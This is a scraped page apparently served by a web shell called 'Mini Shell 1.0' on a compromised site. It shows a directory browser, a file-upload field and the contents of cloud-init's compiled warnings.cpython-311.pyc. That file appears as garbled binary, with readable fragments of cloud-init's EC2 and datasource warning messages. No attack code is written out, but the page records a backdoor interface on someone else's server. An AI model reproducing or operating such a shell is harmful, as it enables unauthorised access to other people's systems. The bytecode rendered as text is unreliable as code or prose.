HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/lib/python3/dist-packages/cloudinit/__pycache__/
Upload File :
Current File : //proc/self/root/usr/lib/python3/dist-packages/cloudinit/__pycache__/warnings.cpython-311.pyc
�

܍~c\��x�ddlZddlZddlmZddlmZddlmZej��Zddd�Z	d�Z
dd
�Zd
d�ZdS)�N)�helpers)�log)�utila+
This system is using the EC2 Metadata Service, but does not appear to
be running on Amazon EC2 or one of cloud-init's known platforms that
provide a EC2 Metadata service. In the future, cloud-init may stop
reading metadata from the EC2 Metadata Service unless the platform can
be identified.

If you are seeing this message, please file a bug against
cloud-init at
   https://bugs.launchpad.net/cloud-init/+filebug?field.tags=dsid
Make sure to include the cloud provider your instance is
running on.

For more information see
  https://bugs.launchpad.net/bugs/1660385

After you have filed a bug, you can disable this warning by
launching your instance with the cloud-config below, or
putting that content into
   /etc/cloud/cloud.cfg.d/99-ec2-datasource.cfg

#cloud-config
datasource:
 Ec2:
  strict_id: falsea�
A new feature in cloud-init identified possible datasources for
this system as:
  {dslist}
However, the datasource used was: {source}

In the future, cloud-init will only attempt to use datasources that
are identified or specifically configured.
For more information see
  https://bugs.launchpad.net/bugs/1669675

If you are seeing this message, please file a bug against
cloud-init at
   https://bugs.launchpad.net/cloud-init/+filebug?field.tags=dsid
Make sure to include the cloud provider your instance is
running on.

After you have filed a bug, you can disable this warning by launching
your instance with the cloud-config below, or putting that content
into /etc/cloud/cloud.cfg.d/99-warnings.cfg

#cloud-config
warnings:
  dsid_missing_source: off)�
non_ec2_md�dsid_missing_sourcec��tj|�di���di�����}|�d��S)N�system_info�paths)�	path_cfgs�warnings)r�Paths�get�
get_ipath_cur)�cfgr
s  �4/usr/lib/python3/dist-packages/cloudinit/warnings.py�
_get_warn_dirrAsO���M��'�'�-��,�,�0�0��"�=�=�
�
�
�E����z�*�*�*�Tc��||f}|rt|t��s|Stj|d|f��}|�|S|dvrdS|dvrdS|�d��\}}}|dkr|S|r#	t|��}n#t$r|cYSwxYwd|fS)	Nr)�on�trueT�TN)�off�falseF)FN�,�sleepT)�
isinstance�dictr�get_cfg_by_path�	partition�int�
ValueError)r�name�moder�default�ncfg�_�csleeps        r�_load_warn_cfgr(Hs���
�U�m�G���j��d�+�+�������j�$�%7�8�8�D��|����#�#�#��z��&�&�&��{��n�n�S�)�)�O�D�!�V��w�����
��	���K�K�E�E���	�	�	��N�N�N�	������;�s�)A9�9B�Bc���|�i}t||||���\}}|sdSt|jd
i|��}d}|dz}d|z}d|zdz}	g}
|�d�����D]}|
�||z���|	}|rd|z}
|
�|d��dz}tjtj
�t|��|��|	d�|
��zdz|	z��t�d|	d�|
��|��|r2t�d	||��t!j|��dSdS)N)r#r�F�z
# %%-%ds #�*�
z  [sleeping for %d seconds]  z%s%s
%sz$sleeping %d seconds for warning '%s'�)r(�WARNINGS�format�strip�
splitlines�append�centerr�
write_file�os�path�joinr�LOG�warning�debug�timer)r"rrr#�kwargs�msg�msgwidth�	linewidth�fmt�topline�fmtlines�line�	closeline�sleepmsgs              r�show_warningrGhs����{��� ��d��U�C�C�C�K�D�%�����
�4�.�
�
)�
)�&�
)�
)�C��H��1��I�
��
!�C��I�o��$�G��H��	�	�$���*�*�,�,�$�$������d�
�#�#�#�#��I��;�2�U�:���O�O�I�s�3�3�d�:�	��O�
����]�3�'�'��.�.��$�)�)�H�%�%�%��,�w�6����
�K�K�
�G�T�Y�Y�x�%8�%8�)�D�D�D����	�	�8�%��F�F�F��
�5�������rr)NNT)
r6r<�	cloudinitrr�loggingr�	getLoggerr9r/rr(rGr.rr�<module>rKs���
�	�	�	�����������$�$�$�$�$�$��������g������2�52�2��j+�+�+�����@#�#�#�#�#�#r